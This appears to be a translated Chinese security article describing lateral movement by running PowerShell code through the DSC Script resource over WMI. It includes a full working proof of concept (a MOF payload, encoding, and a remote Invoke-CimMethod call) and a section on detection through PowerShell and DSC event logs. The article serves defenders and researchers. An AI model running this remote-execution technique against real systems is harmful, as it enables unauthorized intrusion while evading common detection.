一、基本描述
PowerShell的期望状态配置(Desired State Configuration,DSC)可以让我们使用WMI来直接执行资源。通过DSC WMI类,我们可以滥用内置的脚本资源来实现PowerShell代码的远程执行。这种横向渗透技术有如下几个有点:
1、PowerShell会在WMIC服务程序wmiprvse.exe的上下文环境中执行。传统的调用Win32_Process的Create方法会通过wmiprvse.exe创建子进程且带有命令行特征,因此从规避检测的角度来看,这种方法具备一定的优势(至少在本文发表以前)。
2、载荷的所有组件都仅依赖于WMI。
3、我们并不需要使用DSC服务的配置(甚至无需了解相关知识)。
二、具体需求
1、MSFT_DSCLocalConfigurationManager这个WMI类中必须存在ResourceTest方法,该类位于root/Microsoft/Windows/DesiredStateConfiguration命名空间中。注意:攻击者也可以选择调用ResourceGet或者ResourceSet方法。PowerShell DSC从PowerShell v4中开始引入,因此并非所有主机都可以使用这种技术。
2、默认情况下,我们必须具备管理员凭据才能远程调用WMI方法。在远程调用时,WMI受DCOM或者WSMan安全设置的保护。建立远程连接后,WMI本身通过与特定命名空间对应的安全描述符进行保护,在这种场景中,该命名空间为root/Microsoft/Windows/DesiredStateConfiguration。
三、PoC
第一个步骤是准备待执行的载荷。我们想在目标上执行的PowerShell代码必须采用MOF格式。在目标上执行的某个示例载荷如下所示:
$MOFContents = @' instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref { ResourceID = "[Script]ScriptExample"; GetScript = ""$(Get-Date): I am being GET" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True"; TestScript = ""$(Get-Date): I am being TESTED" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True"; SetScript = ""$(Get-Date): I am being SET" | Out-File C:\Windows\Temp\ScriptRun.txt -Append; return $True"; SourceInfo = "::3::5::Script"; ModuleName = "PsDesiredStateConfiguration"; ModuleVersion = "1.0"; ConfigurationName = "ScriptTest"; }; instance of OMI_ConfigurationDocument { Version="2.0.0"; MinimumCompatibleVersion = "1.0.0"; CompatibleVersionAdditionalProperties= {"Omi_BaseResource:ConfigurationName"}; Author="TestUser"; GenerationDate="02/26/2018 07:09:21"; GenerationHost="TestHost"; Name="ScriptTest"; }; '@
实际上,这里我们所需修改的唯一特征就是PowerShell载荷。在我们的示例中,我们将调用ResourceTest方法,该方法对应的是TestScript属性中的载荷。需要注意的是我们需要转义处理特殊字符。MOF自动化生成及载荷转义处理是可以自动化完成的操作。
下一个步骤是将MOF转化为二进制形式(ResourceTest方法所期望的数据格式):
# Change this to false if you want to test the payload locally $ExecuteRemotely = $True $NormalizedMOFContents = [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents)) $NormalizedMOFBytes = [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents) $TotalSize = [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4) if ($ExecuteRemotely) { # Prepend the length of the payload [Byte[]] $MOFBytes = $TotalSize + $NormalizedMOFBytes } else { # If executing locally, you do not prepend the payload length [Byte[]] $MOFBytes = $NormalizedMOFBytes }
在上述代码中需要注意的是,如果我们在本地测试载荷,则无需将载荷长度添加到byte数组中。现在我们已经正确编码载荷,接下来只需要在目标上执行载荷即可。
# Specify the credentials of your target $Credential = Get-Credential -Credential TempUser $ComputerName = 'TargetHost' # Establish a remote WMI session with the target system $RemoteCIMSession = New-CimSession -ComputerName $ComputerName -Credential $Credential $LCMClass = Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration -ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession if ($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) { # You may now proceed with lateral movement $MethodArgs = @{ ModuleName = 'PSDesiredStateConfiguration' ResourceType = 'MSFT_ScriptResource' resourceProperty = $MOFBytes } $Arguments = @{ Namespace = 'root/Microsoft/Windows/DesiredStateConfiguration' ClassName = 'MSFT_DSCLocalConfigurationManager' MethodName = 'ResourceTest' Arguments = $MethodArgs CimSession = $RemoteCIMSession } # Invoke the DSC script resource Test method # Successful execution will be indicated by "InDesiredState" returning True and ReturnValue returning 0. Invoke-CimMethod @Arguments } else { Write-Warning 'The DSC lateral movement method is not available on the remote system.' }
在上述例子中,请注意我在执行之前首先验证了远程类以及方法是否存在。在使用WMI技术时,我建议大家在最终执行之前首先验证目标类和方法是否存在。
以上就是主要内容。我刻意介绍了个大概,在其他内容或者具体操作方面给大家留下较大空间。在这个例子中,载荷执行结果会在本地落盘。如果我们想通过WMI远程获取文件内容,可以参考此处介绍的方法。此外,在上述例子中,我使用了PSv3中才引入的CMI cmdlets,如果想兼容v2,大家也可以改造代码以适配老版WMI cmdlets。
四、发现过程
我是在学习DSC的基础知识时偶然发现了这种技术。我在网上找到了一篇文章,文中讨论了如何使用WMI来直接调用DSC资源。我对WMI有所了解,因此这篇文章一下子引燃了我对这方面内容的兴趣。该文章演示了如何调用内置的文件资源,因此我只需要澄清如何调整细节,以便适用于脚本资源即可。
五、检测方法
幸运的是,如果我们能够获取事件日志,那么就有很多机会可以检测到这类技术。
Microsoft-Windows-PowerShell/Operational事件日志
53504事件
PowerShell Named Pipe IPC事件将告诉我们已启动的PowerShell AppDomain的名称。当DSC执行脚本资源时,该事件会自动捕捉DscPsPluginWkr_AppDomain AppDomain,顾名思义,这是DSC执行所特有的名称。典型事件如下:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain: DscPsPluginWkr_AppDomain.
4104事件
该事件与PowerShell v5脚本块(ScriptBlock)日志有关。攻击者可以轻松规避ScriptBlock的自动日志机制,但如果启用了全局ScriptBlock日志,那么攻击者的载荷操作基本上都会被记录在案。ScriptBlock日志不仅会记录下执行的载荷,也会捕捉与执行内置脚本资源有关的帮助程序代码。
调用脚本资源时被捕捉到的一些ScriptBlock数据样例如下所示:
# Localized 04/11/2018 02:09 PM (GMT) 303:4.80.0411 MSFT_ScriptResourceStrings.psd1 # Localized MSFT_ScriptResourceStrings.psd1 ConvertFrom-StringData @' ###PSLOC SetScriptWhatIfMessage=Executing the SetScript with the user supplied credential InValidResultFromGetScriptError=Failure to get the results from the script in a hash table format. InValidResultFromTestScriptError=Failure to get a valid result from the execution of TestScript. The Test script should return True or False. ScriptBlockProviderScriptExecutionFailureError=Failure to successfully execute the script. GetTargetResourceStartVerboseMessage=Begin executing Get Script. GetTargetResourceEndVerboseMessage=End executing Get Script. SetTargetResourceStartVerboseMessage=Begin executing Set Script. SetTargetResourceEndVerboseMessage=End executing Set Script. TestTargetResourceStartVerboseMessage=Begin executing Test Script. TestTargetResourceEndVerboseMessage=End executing Test Script. ExecutingScriptMessage=Executing Script: {0} ###PSLOC '@
Windows PowerShell事件日志
400事件
在典型的PowerShell日志中,ID为400的事件表明系统中启动了一个新的PowerShell宿主进程。当DSC脚本资源执行时,会生成独特的事件日志条目,我们可以轻松定位。典型例子如下:
Engine状态从None变为Available。
Details: NewEngineState=Available PreviousEngineState=None SequenceNumber=13 HostName=Default Host HostVersion=5.1.17134.81 HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d HostApplication=C:Windowssystem32wbemwmiprvse.exe EngineVersion=5.1.17134.81 RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906 PipelineId= CommandName= CommandType= ScriptName= CommandPath= CommandLine=
PowerShell宿主进程在wmiprvse.exe上下文中启动(参考HostApplication字段),这可能是环境中(特别是工作站上)非常独特的一个特征。
Microsoft-Windows-DSC/Operational事件日志
4102事件
该事件表明某个DSC资源被发送到某个表上。该事件可以为我们提供执行DSC资源的用户SID以及来源主机信息(如果主机位于域环境中)。典型事件如下所示:
Job {893F64B5-ABBF-11E8-B005-D336977413FC} : Operation Invoke-DscResource started by user sid S-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
六、总结
我录制了一个视频,演示了如何使用DSC进行横向渗透,以及如何仅依赖WMI来远程获取文件内容。
大家可以访问此处下载演示代码,祝大家玩得开心。
发表评论
您还未登录,请先登录。
登录